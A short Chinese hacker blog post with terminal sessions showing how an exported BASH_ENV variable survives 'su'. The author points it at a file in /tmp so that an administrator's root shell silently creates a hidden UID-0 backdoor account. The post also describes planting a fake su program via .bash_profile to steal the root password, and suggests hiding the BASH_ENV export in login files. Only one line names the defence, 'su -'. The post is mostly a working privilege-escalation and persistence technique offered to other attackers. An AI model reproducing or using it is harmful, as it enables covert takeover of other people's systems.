作者:xi4oyu
一個test:
[xiaoyu@localdomain ~]$ echo $BASH_ENV
[xiaoyu@localdomain ~]$ export BASH_ENV="/tmp/.bashrc"
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ cat /tmp/.bashrc
#!/bin/bash
echo "Hello"
[xiaoyu@localdomain ~]$ ls -l
-rwxrwxr-x 1 xiaoyu xiaoyu 22 2008-09-11 05:54 test.sh
[xiaoyu@localdomain ~]$ cat test.sh
#!/bin/bash
echo "kk"
[xiaoyu@localdomain ~]$ ./test.sh
Hello
kk
恩,很好,和我們預期的一樣。看看我們怎麼利用。
grep su ~/.bash_history
顯示此使用者有使用su登入root賬戶的特殊癖好。 以前我們遇到這種情況通常就是塞個fakesu.c進去。然後修改.bash_profile,建立個別名之類的東西。通過getpass來獲得root 密碼,記錄,然後去除別名.....關鍵是管理員使用正確密碼登入的時候也是會提示一次密碼錯誤。遇到傻點的管理員可能就放過這個細節了,再輸入一遍密碼 就OK了。但是某些非人類admin會以最快的速度檢查系統被入侵的跡象,外加啥啥啥,而且這種管理員改 root密碼幾乎是肯定的了。所以偷取下來的密碼也沒啥用處。恩,聰明的X客們一定知道我要做什麼了。呵呵,先看看環境變數su後在不
[xiaoyu@localdomain ~]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain ~]$ su
Password:
[root@localdomain xiaoyu]# echo $BASH_ENV
/tmp/.bashrc
啊哦,還在,OK,實驗結束,實戰:
[xiaoyu@localdomain tmp]$ echo '/usr/sbin/useradd -u 0 -o kk 2> /dev/null' > /tmp/.bashrc
[xiaoyu@localdomain tmp]$ cat /tmp/.bashrc
/usr/sbin/useradd -u 0 -o kk 2> /dev/null
[xiaoyu@localdomain tmp]$ grep kk /etc/passwd
[xiaoyu@localdomain tmp]$ echo $BASH_ENV
/tmp/.bashrc
[xiaoyu@localdomain tmp]$ su
Password:
[root@localdomain tmp]# cd /home/xiaoyu
[root@localdomain xiaoyu]# ./test.sh
kk
[root@localdomain xiaoyu]# grep kk /etc/passwd
kk:x:0:503::/home/kk:/bin/bash
[root@localdomain xiaoyu]#
呵呵,改密碼的語句我沒加進去哦。自己想,呵呵,偶不知道,偶不知道
恩,關於怎麼安置,和fakesu一樣,在.bash_profile等地方export BASH_ENV變數...
如果要避免這種情況,使用su -登入root,估計沒幾個管理員記得這個指令吧..汗...
以後會慢慢放出一些小技巧,很多東西窩著窩著,自己都忘了...囧!